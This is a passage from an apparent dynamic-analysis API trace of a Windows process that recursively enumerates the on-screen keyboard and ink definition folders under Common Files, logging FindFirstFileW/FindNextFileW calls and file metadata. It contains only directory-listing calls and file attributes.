dwReserved0=0x0, dwReserved1=0x13a, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0148.420] GetLastError () returned 0x12 [0148.420] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x13a, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0148.421] GetLastError () returned 0x12 [0148.421] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x13a, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0148.421] GetLastError () returned 0x12 [0148.421] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x13a, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0148.421] GetLastError () returned 0x12 [0148.421] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x13a, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0148.421] GetLastError () returned 0x12 [0148.421] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x13a, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0148.421] GetLastError () returned 0x12 [0148.421] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x13a, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0148.421] FindClose (in: hFindFile=0x894f78 | out: hFindFile=0x894f78) returned 1 [0148.421] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.422] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0148.422] GetLastError () returned 0x12 [0148.422] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearui", cAlternateFileName="OSKCLE~1")) returned 1 [0148.422] GetLastError () returned 0x12 [0148.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName=".", cAlternateFileName="")) returned 0x8953f8 [0148.422] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName="..", cAlternateFileName="")) returned 1 [0148.422] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x13a, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 1 [0148.422] GetLastError () returned 0x12 [0148.422] FindNextFileW (in: hFindFile=0x8953f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x13a, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 0 [0148.422] FindClose (in: hFindFile=0x8953f8 | out: hFindFile=0x8953f8) returned 1 [0148.422] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.422] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0148.422] GetLastError () returned 0x12 [0148.423] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0148.423] GetLastError () returned 0x12 [0148.423] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName=".", cAlternateFileName="")) returned 0x894e38 [0148.423] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName="..", cAlternateFileName="")) returned 1 [0148.423] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x13a, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0148.423] GetLastError () returned 0x12 [0148.423] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x13a, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0148.423] FindClose (in: hFindFile=0x894e38 | out: hFindFile=0x894e38) returned 1 [0148.423] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.423] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0148.423] GetLastError () returned 0x12 [0148.424] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknav", cAlternateFileName="")) returned 1 [0148.424] GetLastError () returned 0x12 [0148.424] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName=".", cAlternateFileName="")) returned 0x895538 [0148.424] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName="..", cAlternateFileName="")) returned 1 [0148.424] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x13a, cFileName="osknavbase.xml", cAlternateFileName="")) returned 1 [0148.424] GetLastError () returned 0x12 [0148.424] FindNextFileW (in: hFindFile=0x895538, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x13a, cFileName="osknavbase.xml", cAlternateFileName="")) returned 0 [0148.424] FindClose (in: hFindFile=0x895538 | out: hFindFile=0x895538) returned 1 [0148.424] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.425] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0148.425] GetLastError () returned 0x12 [0148.425] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0148.425] GetLastError () returned 0x12 [0148.425] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName=".", cAlternateFileName="")) returned 0x894e38 [0148.425] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName="..", cAlternateFileName="")) returned 1 [0148.425] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x13a, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0148.425] GetLastError () returned 0x12 [0148.425] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x13a, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0148.425] FindClose (in: hFindFile=0x894e38 | out: hFindFile=0x894e38) returned 1 [0148.426] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.426] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0148.426] GetLastError () returned 0x12 [0148.426] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0148.427] GetLastError () returned 0x12 [0148.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName=".", cAlternateFileName="")) returned 0x8954f8 [0148.427] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName="..", cAlternateFileName="")) returned 1 [0148.427] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x13a, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0148.427] GetLastError () returned 0x12 [0148.427] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x13a, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0148.427] FindClose (in: hFindFile=0x8954f8 | out: hFindFile=0x8954f8) returned 1 [0148.427] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.427] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0148.427] GetLastError () returned 0x12 [0148.427] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0148.427] GetLastError () returned 0x12 [0148.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName=".", cAlternateFileName="")) returned 0x8950f8 [0148.428] FindNextFileW (in: hFindFile=0x8950f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName="..", cAlternateFileName="")) returned 1 [0148.428] FindNextFileW (in: hFindFile=0x8950f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6, dwReserved0=0x0, dwReserved1=0x13a, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0148.428] GetLastError () returned 0x12 [0148.428] FindNextFileW (in: hFindFile=0x8950f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, 